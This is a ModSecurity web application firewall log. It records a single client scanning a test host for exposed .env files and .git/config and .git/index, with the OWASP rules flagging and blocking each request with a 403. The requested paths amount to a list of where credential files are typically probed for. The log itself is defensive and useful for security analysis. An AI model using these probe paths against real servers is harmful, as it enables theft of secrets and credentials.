[Thu Jul 10 08:35:56.393880 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXGAAAAAU&quot;]
[Thu Jul 10 08:35:56.394093 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXGAAAAAU&quot;]
[Thu Jul 10 08:35:56.417776 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXGQAAAAU&quot;]
[Thu Jul 10 08:35:56.418144 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXGQAAAAU&quot;]
[Thu Jul 10 08:35:56.418471 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXGQAAAAU&quot;]
[Thu Jul 10 08:36:05.109774 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aG9fVXX5p5YcoWIUq-xw0gAAAAc&quot;]
[Thu Jul 10 08:36:05.110024 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aG9fVXX5p5YcoWIUq-xw0gAAAAc&quot;]
[Thu Jul 10 08:36:05.110204 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aG9fVXX5p5YcoWIUq-xw0gAAAAc&quot;]
[Thu Jul 10 08:36:05.401317 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pictures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aG9fVXX5p5YcoWIUq-xw1AAAAAc&quot;]
[Thu Jul 10 08:36:05.401565 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aG9fVXX5p5YcoWIUq-xw1AAAAAc&quot;]
[Thu Jul 10 08:36:05.401768 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aG9fVXX5p5YcoWIUq-xw1AAAAAc&quot;]
[Thu Jul 10 08:36:10.125025 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw2AAAAAc&quot;]
[Thu Jul 10 08:36:10.125292 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw2AAAAAc&quot;]
[Thu Jul 10 08:36:10.125493 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw2AAAAAc&quot;]
[Thu Jul 10 08:36:10.342976 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /downloads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw2wAAAAc&quot;]
[Thu Jul 10 08:36:10.343231 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw2wAAAAc&quot;]
[Thu Jul 10 08:36:10.343439 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw2wAAAAc&quot;]
[Thu Jul 10 08:36:10.473991 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw3AAAAAc&quot;]
[Thu Jul 10 08:36:10.474245 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw3AAAAAc&quot;]
[Thu Jul 10 08:36:10.474470 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw3AAAAAc&quot;]
[Thu Jul 10 08:36:10.568254 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /marketing/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/marketing/.env.production&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw3QAAAAc&quot;]
[Thu Jul 10 08:36:10.568503 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/marketing/.env.production&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw3QAAAAc&quot;]
[Thu Jul 10 08:36:10.568721 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/marketing/.env.production&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw3QAAAAc&quot;]
[Thu Jul 10 08:36:10.759518 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /develop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/develop/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw3wAAAAc&quot;]
[Thu Jul 10 08:36:10.759771 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/develop/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw3wAAAAc&quot;]
[Thu Jul 10 08:36:10.759977 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/develop/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw3wAAAAc&quot;]
[Thu Jul 10 08:36:10.858682 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/integration/env-config/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw4AAAAAc&quot;]
[Thu Jul 10 08:36:10.858932 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw4AAAAAc&quot;]
[Thu Jul 10 08:36:10.859160 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aG9fWnX5p5YcoWIUq-xw4AAAAAc&quot;]
[Thu Jul 10 08:36:11.005316 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /oldsanta/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aG9fW3X5p5YcoWIUq-xw4QAAAAc&quot;]
[Thu Jul 10 08:36:11.005699 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aG9fW3X5p5YcoWIUq-xw4QAAAAc&quot;]
[Thu Jul 10 08:36:11.005994 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aG9fW3X5p5YcoWIUq-xw4QAAAAc&quot;]
[Thu Jul 10 08:36:11.181318 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aG9fW3X5p5YcoWIUq-xw4gAAAAc&quot;]
